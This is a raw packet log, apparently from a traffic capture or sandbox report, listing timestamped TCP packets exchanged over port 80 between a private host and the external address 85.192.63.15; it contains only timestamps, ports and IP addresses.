Apr 27, 2023 07:41:53.431416988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.431463957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.431535959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.431564093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.432338953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.432374001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.432434082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.432462931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.433119059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.433151960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.433257103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.433931112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.433970928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.434048891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.434722900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.434767008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.434808969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.434839964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.435496092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.435534954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.435565948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.435596943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.436279058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.436316967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.436350107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.436383009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.437063932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.437094927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.437128067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.437156916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.437767029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.437797070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.437832117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.437860966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.438676119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.438730955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.438776016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.438776016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.439352989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.439388990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.439464092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.439464092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.440184116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.440220118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.440263987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.440263987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.440917015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.440952063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.441005945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.441715002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.441756010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.441778898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.441778898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.441838980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.442415953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.442449093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.442481041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.442511082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.443224907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.443260908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.443320036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.443351984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.443958044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.443994999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.444045067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.444045067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.444514990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.444545984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.444571972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.444600105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.444633961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.444633961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.445488930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.445523024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.445552111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.445574045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.445607901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.445607901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.446326017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.446360111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.446388960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.446413040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.446449995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.446449995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.447205067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.447242975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.447269917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.447413921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.448045969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.448081970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.448110104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.448139906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.448170900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.448170900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.448867083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.448904991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.448932886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.449090958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.449702024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.449740887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.449767113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.450038910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.450567007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.450618982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.450655937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.450661898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.450686932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.450701952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.451240063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.451283932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.451318979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.451334000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.451364994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.451364994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.451981068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.452013016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.452061892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.452068090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.452084064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.452119112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.452735901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.452766895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.452794075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.452820063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.452820063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.452853918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.453449011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.453483105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.453507900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.453527927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.453557968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.453573942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.454169989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.454200983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.454227924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.454252958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.454253912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.454284906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.454284906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.454303026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.455143929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.455174923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.455233097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.455264091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.455621958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.455663919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.455698967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.455710888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.455732107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.455735922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.455751896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.455790997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.456558943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.456602097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.456640005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.456650972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.456672907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.456674099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.456691980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.456729889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.457508087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.457544088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.457576990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.457595110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.457608938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.457639933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.457639933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.457660913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.458324909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.458358049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.458389044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.458400965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.458417892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.458424091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.458441019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.458468914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.459220886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.459261894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.459291935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.459305048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.459322929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.459328890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.459347010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.459376097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460041046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460081100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460110903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460112095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460131884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460144997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460167885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460211039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460880995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460917950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460942030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460947990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460968018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.460982084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.460994005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.461040974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.461693048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.461730957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.461764097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.461776018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.461796999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.461797953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.461816072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.461864948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.462521076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.462558031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.462594986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.462620020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.462641001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.462655067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.462678909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.462699890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.463232994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.463268995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.463298082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.463311911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.463349104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.463349104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.476339102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.476381063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.476407051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.476429939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.476437092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.476450920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.476479053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.476480007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.476480007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.476525068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.492901087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.492944002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.492988110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.493015051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.493026018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.493026018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.493036985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.493063927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.493063927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.493079901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.495457888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.495497942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.495524883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.495547056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.495568037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.495606899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.495608091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.495608091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.498764038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.498805046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.498836994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.498857975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.498858929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.498925924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.498925924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.498925924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.499488115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.499525070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.499553919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.499569893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.499577999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.499597073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.499597073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.499651909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.517014027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.517050028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.517098904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.517123938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.517146111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.517147064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.517147064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.517190933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.517191887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.520494938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.520536900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.520565033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.520586014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.520597935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.520597935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.520637035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.520637989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.736408949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.736459017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.736516953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.736563921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.736567974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.736567974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.736586094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.736635923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.736635923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.736635923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.738096952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.738121986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.738136053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.738159895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.738176107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.738181114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.738205910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.738207102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.738229990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.738248110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.739680052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.739696980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.739717007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.739741087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.739754915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.739762068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.739783049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.739784002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.739800930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.741343975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.741368055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.741390944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.741411924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.741434097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.741439104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.741461992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.741475105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.741499901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.744807005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.744848967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.744862080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.744874954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.744895935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.744921923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.744923115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.744923115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.744944096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.744960070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.744981050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.744981050 CEST	49697	80	192.168.2.3	85.192.63.15
